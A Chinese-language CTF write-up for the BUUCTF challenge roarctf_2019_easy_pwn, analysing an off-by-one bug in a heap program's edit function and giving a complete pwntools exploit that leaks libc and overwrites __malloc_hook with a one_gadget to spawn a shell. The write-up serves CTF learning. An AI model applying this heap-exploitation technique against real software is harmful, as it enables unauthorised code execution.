[BUUCTF]刷题记录-----roarctf_2019_easy_pwn

查看程序保护机制

题目分析

add函数

在这里插入图片描述

创建chunk,最多创建15个,不能大于4096字节,函数没有问题

edit函数

在这里插入图片描述
在这里插入图片描述
edit函数中有个问题,就是编辑时输入的size减去添加时的size时的值为10时,可以多输入一个字节,纯在off-by-one漏洞。

free函数

在这里插入图片描述
没有问题,free之后都置空了。

show函数

在这里插入图片描述
这里会打印出chunk的内容,输出的长度为之前创建chunk时的size大小。

思路

利用off-by-one漏洞泄露出libc的地址,然后改__free_hook为one-gadget

解题

先把前面的内容写好

from pwn import *
from LibcSearcher import *

context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./roarctf_2019_easy_pwn"
#io = remote("node4.buuoj.cn",28851)
io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc-2.23_64.so")

def add(size):
	io.recvuntil(b"choice: ")
	io.sendline(b"1")
	io.recvuntil(b"size: ")
	io.sendline(str(size))

def edit(idx,size,data):
	io.recvuntil(b"choice: ")
	io.sendline(b"2")
	io.recvuntil(b"index: ")
	io.sendline(str(idx))
	io.recvuntil(b"size: ")
	io.sendline(str(size))
	io.recvuntil(b"content: ")
	io.send(data)

def free(idx):
	io.recvuntil(b"choice: ")
	io.sendline(b"3")
	io.recvuntil(b"index: ")
	io.sendline(str(idx))

def show(idx):
	io.recvuntil(b"choice: ")
	io.sendline(b"4")
	io.recvuntil(b"index: ")
	io.sendline(str(idx))

先创建4个chunk

add(0x18) #0	
add(0x10) #1
add(0x90) #2
add(0x18) #3

在这里插入图片描述
然后通过off-by-one漏洞编辑chunk0,更改chunk1的size位。

payload = b"a"*0x10 + p64 (0x20) + p8(0xa1)
edit(0,0x18+10,payload)
payload = p64(0)*0xe + p64(0xa0) + p64(0x21)
edit(2,0x80,payload)

在这里插入图片描述
这样就伪造了两个chunk的大小,但在程序中储存的chunk1的size值不是0x90而是0x10,chunk2不是0x10而是0x90,即使chunk1现在是0xa1的大小,但只能编辑0x10的字节。

free(1)
add(0x90)

payload = p64(0)*3 + p64(0xa1)
edit(1,0x20,payload)

free(2)
show(1)

现在free chunk1它就会加入unsorted bin,然后再创建一个0x90大小的chunk,这是就会把chunk1给我们,然后再还原原来的chunk2。free掉chunk2再show就能泄露出main_arena+88的地址。
在这里插入图片描述
然后计算我们要用到的函数地址。

io.recvuntil(b"\x7f\x00\x00")
libc_addr = u64(io.recv(6).ljust(8,b"\x00"))-88-libc.sym['__malloc_hook']-0x10
malloc_hook = libc_addr+libc.sym["__malloc_hook"]
realloc_hook = libc_addr+libc.sym["realloc"]
gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc_addr+gadget[3]
ptr_chunk = malloc_hook-0x23
print("libc_addr--------------->:",hex(libc_addr))
print("malloc_hook--------------->:",hex(malloc_hook))
print("realloc_hook------------>: ",hex(realloc_hook))
print("ptr_chunk---------------->: ",hex(ptr_chunk))

重新申请chunk2,构造chunk2,然后释放。修改chunk2的链表地址为

malloc_hook,把堆块申请到malloc_hook
add(0x80) #2
payload = p64(0)*3+p64(0x71)+p64(0)*12 + p64(0x70) + p64(0x21)
edit(1,0x90,payload)
free(2)
payload = p64(0)*3 + p64(0x71) + p64(ptr_chunk)*2
edit(1,0x30,payload)
add(0x60)
add(0x60) #4

申请到堆块后,修改malloc_hook的内容为 one_gadget。最后,申请堆块执行one_gadget

payload = b"a"*11 + p64(one_gadget) + p64(realloc_hook+4)
edit(4,27,payload)

add(0x60)

完整exp为:

from pwn import *
from LibcSearcher import *

context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./roarctf_2019_easy_pwn"
io = remote("node4.buuoj.cn",28461)
#io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc-2.23_64.so")

def add(size):
	io.recvuntil(b"choice: ")
	io.sendline(b"1")
	io.recvuntil(b"size: ")
	io.sendline(str(size))

def edit(idx,size,data):
	io.recvuntil(b"choice: ")
	io.sendline(b"2")
	io.recvuntil(b"index: ")
	io.sendline(str(idx))
	io.recvuntil(b"size: ")
	io.sendline(str(size))
	io.recvuntil(b"content: ")
	io.send(data)

def free(idx):
	io.recvuntil(b"choice: ")
	io.sendline(b"3")
	io.recvuntil(b"index: ")
	io.sendline(str(idx))

def show(idx):
	io.recvuntil(b"choice: ")
	io.sendline(b"4")
	io.recvuntil(b"index: ")
	io.sendline(str(idx))

add(0x18) #0	
add(0x10) #1
add(0x90) #2
add(0x18) #3
payload = b"a"*0x10 + p64 (0x20) + p8(0xa1)
edit(0,0x18+10,payload)

payload = p64(0)*0xe + p64(0xa0) + p64(0x21)
edit(2,0x80,payload)
free(1)
add(0x90)

payload = p64(0)*3 + p64(0xa1)
edit(1,0x20,payload)

free(2)
show(1)

io.recvuntil(b"\x7f\x00\x00")
libc_addr = u64(io.recv(6).ljust(8,b"\x00"))-88-libc.sym['__malloc_hook']-0x10
malloc_hook = libc_addr+libc.sym["__malloc_hook"]
realloc_hook = libc_addr+libc.sym["realloc"]
gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc_addr+gadget[3]
ptr_chunk = malloc_hook-0x23
print("libc_addr--------------->:",hex(libc_addr))
print("malloc_hook--------------->:",hex(malloc_hook))
print("realloc_hook------------>: ",hex(realloc_hook))
print("ptr_chunk---------------->: ",hex(ptr_chunk))

add(0x80) #2
payload = p64(0)*3+p64(0x71)+p64(0)*12 + p64(0x70) + p64(0x21)
edit(1,0x90,payload)
free(2)
payload = p64(0)*3 + p64(0x71) + p64(ptr_chunk)*2
edit(1,0x30,payload)
add(0x60)
add(0x60) #4

payload = b"a"*11 + p64(one_gadget) + p64(realloc_hook+4)
edit(4,27,payload)

add(0x60)

# gdb.attach(io)




io.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值